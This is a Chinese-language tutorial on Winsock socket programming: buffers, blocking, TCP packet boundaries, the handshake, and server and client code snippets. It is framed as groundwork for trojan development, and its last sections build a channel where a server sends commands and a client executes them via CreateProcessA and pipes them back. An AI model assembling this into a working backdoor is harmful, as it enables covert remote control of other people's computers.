socket的探究与实现
字数 1330 2025-08-07 08:22:33
Socket编程深入解析与实现
一、Socket基础概念
Socket(套接字)是应用程序通过网络进行通信的端点,是对TCP/IP协议的封装。在病毒木马开发中,Socket常用于数据传输和回传。
Socket缓冲区机制
- 每个Socket创建时都会分配两个缓冲区:输入缓冲区和输出缓冲区
write()/send()不直接发送数据,而是先写入输出缓冲区read()/recv()从输入缓冲区读取数据,而非直接从网络读取- 缓冲区特性:
- 每个TCP套接字有独立缓冲区
- 创建套接字时自动生成
- 关闭套接字会继续发送输出缓冲区数据
- 关闭套接字会丢失输入缓冲区数据
二、阻塞模式详解
发送数据时的阻塞
- 检查缓冲区空间,不足则阻塞直到空间足够
- 缓冲区被锁定时阻塞直到解锁
- 大数据分批次写入
- 所有数据写入缓冲区后函数返回
接收数据时的阻塞
- 检查缓冲区,无数据则阻塞直到数据到达
- 读取长度小于缓冲区数据时不能全部读出
- 读取到数据后函数才返回
三、TCP粘包问题
产生原因
- 接收和发送无关,
read()/recv()会尽可能多接收数据 - 多次发送可能被合并接收,缺乏边界标识
示例问题
客户端发送学号1和3,服务器可能错误接收为13
解决方案
- 需要应用层协议设计边界标识
- 固定长度数据包
- 特殊分隔符
- 长度前缀
四、TCP连接建立过程(三次握手)
-
客户端发送SYN包
- 设置SYN标志位
- 生成随机序号Seq=1000
- 进入SYN-SEND状态
-
服务器响应SYN-ACK包
- 设置SYN和ACK标志位
- 生成随机序号Seq=2000
- Ack=客户端Seq+1=1001
- 进入SYN-RECV状态
-
客户端发送ACK包
- 设置ACK标志位
- Ack=服务器Seq+1=2001
- 进入ESTABLISHED状态
- 服务器收到后也进入ESTABLISHED状态
五、Windows下的Socket编程(Winsock)
版本区别
- Winsock1: WINSOCK.H + WSOCK32.LIB
- Winsock2: WINSOCK2.H + WS2_32.LIB
- 扩展功能: MSWSOCK.H + MSWSOCK.LIB
基本API
-
socket()- 创建套接字SOCKET WSAAPI socket( [in] int af, // 地址族,如AF_INET [in] int type, // 类型,如SOCK_STREAM [in] int protocol // 协议,通常为0 ); -
bind()- 绑定地址int bind( [in] SOCKET s, const sockaddr *addr, [in] int namelen ); -
listen()- 监听连接int WSAAPI listen( [in] SOCKET s, [in] int backlog // 最大挂起连接数 ); -
accept()- 接受连接 -
connect()- 连接服务器 -
send()/recv()- 数据收发
六、服务端实现代码
初始化Winsock
WSADATA wsadata = {0};
WORD w_version_req = MAKEWORD(2, 2);
WSAStartup(w_version_req, &wsadata);
创建Socket
SOCKET g_ServerSocket = socket(AF_INET, SOCK_STREAM, NULL);
绑定地址
sockaddr_in ServerAddr;
ServerAddr.sin_family = AF_INET;
ServerAddr.sin_port = htons(port);
ServerAddr.sin_addr.S_un.S_addr = inet_addr(ipaddr);
bind(g_ServerSocket, (LPSOCKADDR)&ServerAddr, sizeof(ServerAddr));
监听连接
listen(g_ServerSocket, 5); // 最多5个挂起连接
接受连接
sockaddr_in addr = {0};
int dwLength = sizeof(addr);
g_clientsocket = accept(g_ServerSocket, (sockaddr*)(&addr), &dwLength);
数据接收
char szBuffer[MAX_PATH] = {0};
int Ret = recv(g_clientsocket, szBuffer, MAX_PATH, 0);
数据发送
send(g_clientsocket, cmd, (strlen(cmd)+1), 0);
七、客户端实现代码
客户端与服务端的主要区别:
- 不需要
bind()和listen() - 直接使用
connect()连接服务器
连接服务器
connect(g_ServerSocket, (LPSOCKADDR)&ServerAddr, sizeof(ServerAddr));
多线程接收
CreateThread(NULL, NULL, (LPTHREAD_START_ROUTINE)ThreadProc, NULL, NULL, NULL);
八、进程间通信实现命令结果返回
共享内存方法(不适用)
system()函数不返回执行结果到变量- 无法通过共享内存获取命令输出
匿名管道方法(推荐)
HANDLE hRead, hWrite;
SECURITY_ATTRIBUTES sa;
sa.bInheritHandle = TRUE;
sa.lpSecurityDescriptor = NULL;
sa.nLength = sizeof(SECURITY_ATTRIBUTES);
CreatePipe(&hRead, &hWrite, &sa, 0);
STARTUPINFO si;
ZeroMemory(&si, sizeof(STARTUPINFO));
si.cb = sizeof(STARTUPINFO);
si.dwFlags = STARTF_USESTDHANDLES;
si.hStdInput = hRead;
si.hStdOutput = hWrite;
si.hStdError = GetStdHandle(STD_ERROR_HANDLE);
CreateProcessA(NULL, lpscmd, NULL, NULL, TRUE, 0, NULL, NULL, &si, &pi);
CloseHandle(hWrite);
WaitForSingleObject(pi.hThread, -1);
WaitForSingleObject(pi.hProcess, -1);
char lpsRetBuffer[4096] = {0};
DWORD RetBufferSize = 0;
ReadFile(hRead, lpsRetBuffer, 4096, &RetBufferSize, NULL);
CloseHandle(hRead);
CloseHandle(pi.hProcess);
CloseHandle(pi.hThread);
九、完整实现效果
- 服务端启动监听
- 客户端连接服务端
- 服务端发送命令
- 客户端执行命令并通过管道返回结果
- 服务端显示客户端返回的命令执行结果
通过匿名管道实现了命令执行结果的回传,解决了原始方案中无法获取命令输出结果的问题。